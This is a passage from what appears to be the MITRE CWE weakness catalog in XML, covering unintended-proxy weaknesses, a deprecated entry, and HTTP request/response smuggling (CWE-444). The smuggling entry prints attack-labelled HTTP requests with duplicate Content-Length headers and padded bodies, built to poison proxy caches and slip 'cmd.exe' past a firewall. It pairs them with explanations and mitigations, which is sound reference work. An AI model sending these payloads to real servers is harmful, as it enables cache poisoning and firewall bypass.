               <Description>RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0315</Reference>
               <Description>FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0315</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1484</Reference>
               <Description>Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1484</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2061</Reference>
               <Description>CGI script accepts and retrieves incoming URLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1484</Reference>
               <Description>Bounce attack allows access to TFTP from trusted side.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1484</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1637</Reference>
               <Description>Web-based mail program allows internal network scanning using a modified POP3 port number.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0037</Reference>
               <Description>URL-downloading library automatically follows redirects to file:// and scp:// URLs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0037</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unintended proxy/intermediary</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Proxied Trusted Channel</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>32</Entry_ID>
               <Entry_Name>Routing Detour</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="219"/>
            <Related_Attack_Pattern CAPEC_ID="465"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-432"/>
            <Reference External_Reference_ID="REF-1125"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.</Note>
            <Note Type="Maintenance">This could possibly be considered as an emergent resource.</Note>
            <Note Type="Theoretical">It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Description, Maintenance_Notes, Name, Observed_Examples, References, Relationship_Notes, Relationships, Theoretical_Notes, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2020-08-14</Modification_Date>
               <Modification_Comment>Per Intel Corporation suggestion, added language to be inclusive to hardware: updated Demonstrative_Examples, Description, Extended_Description, Applicable_Platforms, Potential_Mitigation, Common_Consequences, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Arun Kanuparthi, Hareesh Khattri, Parbati K. Manna</Contribution_Name>
               <Contribution_Organization>Intel Corporation</Contribution_Organization>
               <Contribution_Date>2020-08-14</Contribution_Date>
               <Contribution_Comment>Provided demonstrative example</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2013-02-21">Unintended Proxy/Intermediary</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="443" Name="DEPRECATED: HTTP response splitting" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness can be found at CWE-113.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): HTTP response splitting</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="444" Name="Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product acts as an intermediary HTTP agent
         (such as a proxy or firewall) in the data flow between two
         entities such as a client and server, but it does not
         interpret malformed HTTP requests or responses in ways that
         are consistent with how the messages will be processed by
         those entities that are at the ultimate destination.</Description>
         <Extended_Description>
	   <xhtml:p>HTTP requests or responses ("messages") can be
	   malformed or unexpected in ways that cause web servers or
	   clients to interpret the messages in different ways than
	   intermediary HTTP agents such as load balancers, reverse
	   proxies, web caching proxies, application firewalls,
	   etc. For example, an adversary may be able to add duplicate
	   or different header fields that a client or server might
	   interpret as one set of messages, whereas the intermediary
	   might interpret the same sequence of bytes as a different
	   set of messages. For example, discrepancies can arise in
	   how to handle duplicate headers like two Transfer-encoding
	   (TE) or two Content-length (CL), or the malicious HTTP
	   message will have different headers for TE and
	   CL.</xhtml:p>
	   <xhtml:p>The inconsistent parsing and interpretation of messages
	   can allow the adversary to "smuggle" a message to the
	   client/server without the intermediary being aware of it.</xhtml:p>
	   <xhtml:p>This weakness is usually the result of the usage
	   of outdated or incompatible HTTP protocol versions in the
	   HTTP agents.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>HTTP Request Smuggling</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>HTTP Response Smuggling</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>HTTP Smuggling</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Hide Activities</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker could create HTTP messages to exploit a number of weaknesses including 1) the message can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the message can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the message can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use only SSL communication.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Terminate the client session after each request.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Turn all pages to non-cacheable.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.</Intro_Text>
               <Example_Code Nature="Attack">
                  POST http://www.website.com/foobar.html HTTP/1.1<xhtml:br/>
		 Host: www.website.com<xhtml:br/>
		 Connection: Keep-Alive<xhtml:br/>
		 Content-Type: application/x-www-form-urlencoded<xhtml:br/>
		 Content-Length: 0<xhtml:br/>
		 Content-Length: 54<xhtml:br/>
		 <xhtml:br/>
                 GET /poison.html HTTP/1.1<xhtml:br/>
		 Host: www.website.com<xhtml:br/>
		 Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1<xhtml:br/>
		 Host: www.website.com<xhtml:br/>
		 Connection: Keep-Alive<xhtml:br/>
               </Example_Code>
               <Body_Text>When this request is sent to the proxy server, the proxy server parses the first four lines of the POST request and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the next three lines that contain exactly 54 bytes as the first request's body:</Body_Text>
	       <Example_Code Nature="Result">
		GET /poison.html HTTP/1.1<xhtml:br/>
		Host: www.website.com<xhtml:br/>
		Bla:<xhtml:br/>
	       </Example_Code>
	       <Body_Text>The proxy then parses the remaining bytes, which it treats as the client's second request:</Body_Text>
	       <Example_Code Nature="Attack">
		GET http://www.website.com/page_to_poison.html HTTP/1.1<xhtml:br/>
		Host: www.website.com<xhtml:br/>
		Connection: Keep-Alive<xhtml:br/>
	       </Example_Code>
               <Body_Text>The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body.</Body_Text>
	       <Example_Code Nature="Attack">
		POST http://www.website.com/foobar.html HTTP/1.1<xhtml:br/>
		Host: www.website.com<xhtml:br/>
		Connection: Keep-Alive<xhtml:br/>
		Content-Type: application/x-www-form-urlencoded<xhtml:br/>
		Content-Length: 0<xhtml:br/>
		<xhtml:i>Content-Length: 54 (ignored by server)</xhtml:i><xhtml:br/>
	       </Example_Code>
	       <Body_Text>Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:</Body_Text>
	       <Example_Code Nature="Attack">
		GET /poison.html HTTP/1.1<xhtml:br/>
		Host: www.website.com<xhtml:br/>
		Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1<xhtml:br/>
		Host: www.website.com<xhtml:br/>
		Connection: Keep-Alive<xhtml:br/>
	       </Example_Code>
	       <Body_Text>Note that the "Bla:" header is treated as a regular header, so it is not parsed as a separate GET request.</Body_Text>
               <Body_Text>The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.</Body_Text>
               <Body_Text>When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.</Body_Text>
               <Body_Text>Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
				  <xhtml:div style="margin-left:1em;">
                    <xhtml:div>
                      <xhtml:br/>
                      <xhtml:i>// Set up response writer object</xhtml:i>
                      <xhtml:br/>...<xhtml:br/>try {
					  <xhtml:div style="margin-left:1em;">
						<xhtml:div>
                          <xhtml:i>// check for multiple content length headers</xhtml:i>
                          <xhtml:br/>Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
						  <xhtml:br/>int count = 0;
						  <xhtml:br/>while (contentLengthHeaders.hasMoreElements()) {
						  <xhtml:div style="margin-left:1em;">count++;
						  </xhtml:div>}
						  <xhtml:br/>if (count &gt; 1) {
						  <xhtml:div style="margin-left:1em;">
							<xhtml:i>// output error response</xhtml:i>
							</xhtml:div>}
							<xhtml:br/>else {
							<xhtml:div style="margin-left:1em;">
							  <xhtml:div>
								<xhtml:i>// process request</xhtml:i>
							  </xhtml:div>
							  </xhtml:div>}
							  <xhtml:br/>
                        </xhtml:div>
                    </xhtml:div>} catch (Exception ex) {...}</xhtml:div>
					</xhtml:div>}
				  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.</Intro_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>POST /page.asp HTTP/1.1<xhtml:br/>Host: www.website.com<xhtml:br/>Connection: Keep-Alive<xhtml:br/>Content-Length: 49223<xhtml:br/>
                     <xhtml:br/>zzz...zzz ["z" x 49152]<xhtml:br/>POST /page.asp HTTP/1.0<xhtml:br/>Connection: Keep-Alive<xhtml:br/>Content-Length: 30<xhtml:br/>
                     <xhtml:br/>POST /page.asp HTTP/1.0<xhtml:br/>Bla: POST /page.asp?cmd.exe HTTP/1.0<xhtml:br/>Connection: Keep-Alive</xhtml:div>
               </Example_Code>
               <Body_Text>When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.</Body_Text>
               <Body_Text>Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.</Body_Text>
               <Body_Text>When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.</Body_Text>
               <Body_Text>This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.</Body_Text>
               <Body_Text>To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>
		 The interpretation of HTTP responses can be manipulated if response headers include a space between the header name and colon, or if HTTP 1.1 headers are sent through a proxy configured for HTTP 1.0, allowing for HTTP response smuggling. This can be exploited in web browsers and other applications when used in combination with various proxy servers. For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers.</Intro_Text>
               <Example_Code Nature="Attack">
		HTTP/1.1 200 OK<xhtml:br/>
		Date: Fri, 08 Aug 2016 08:12:31 GMT<xhtml:br/>
		Server: Apache (Unix)<xhtml:br/>
		Connection: Keep-Alive<xhtml:br/>
		Content-Encoding: gzip<xhtml:br/>
		Content-Type: text/html<xhtml:br/>
		<xhtml:b>Content-Length :</xhtml:b> 2345<xhtml:br/>
		Transfer-Encoding: chunked<xhtml:br/>
		<xhtml:b>Set-Cookie :</xhtml:b> token="Malicious Code"<xhtml:br/>
		<xhtml:br/>
		&lt;HTML&gt; ... "Malicious Code"<xhtml:br/>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2022-24766</Reference>
	     <Description>SSL/TLS-capable proxy allows HTTP smuggling when used in tandem with HTTP/1.0 services, due to inconsistent interpretation and input sanitization of HTTP messages within the body of another message</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2022-24766</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2021-37147</Reference>
	     <Description>Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2021-37147</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2020-8287</Reference>
	     <Description>Node.js platform allows request smuggling via two Transfer-Encoding headers</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2020-8287</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2006-6276</Reference>
	     <Description>Web servers allow request smuggling via inconsistent HTTP headers.</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2006-6276</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2088</Reference>
               <Description>HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2088</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2089</Reference>
               <Description>HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2089</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>HTTP Request Smuggling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>26</Entry_ID>
               <Entry_Name>HTTP Request Smuggling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>27</Entry_ID>
               <Entry_Name>HTTP Response Smuggling</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="273"/>
            <Related_Attack_Pattern CAPEC_ID="33"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-433"/>
            <Reference External_Reference_ID="REF-1273"/>
            <Reference External_Reference_ID="REF-1274"/>
            <Reference External_Reference_ID="REF-1275"/>
            <Reference External_Reference_ID="REF-1276"/>
            <Reference External_Reference_ID="REF-1277"/>
            <Reference External_Reference_ID="REF-1278"/>
         </References>
         <Notes>
            <Note Type="Theoretical">Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Name, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
				  <Modification_Name>CWE Content Team</Modification_Name>
				  <Modification_Organization>MITRE</Modification_Organization>
				  <Modification_Date>2022-06-28</Modification_Date>
				  <Modification_Importance>Critical</Modification_Importance>
				  <Modification_Comment>Extended the abstraction of this entry to include both HTTP request and response smuggling.</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, References, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">HTTP Request Smuggling</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-09-09">Interpretation Conflict in Web Traffic (aka 'HTTP Request Smuggling')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2022-06-28">Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="446" Name="UI Discrepancy for Security Feature" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.</Description>
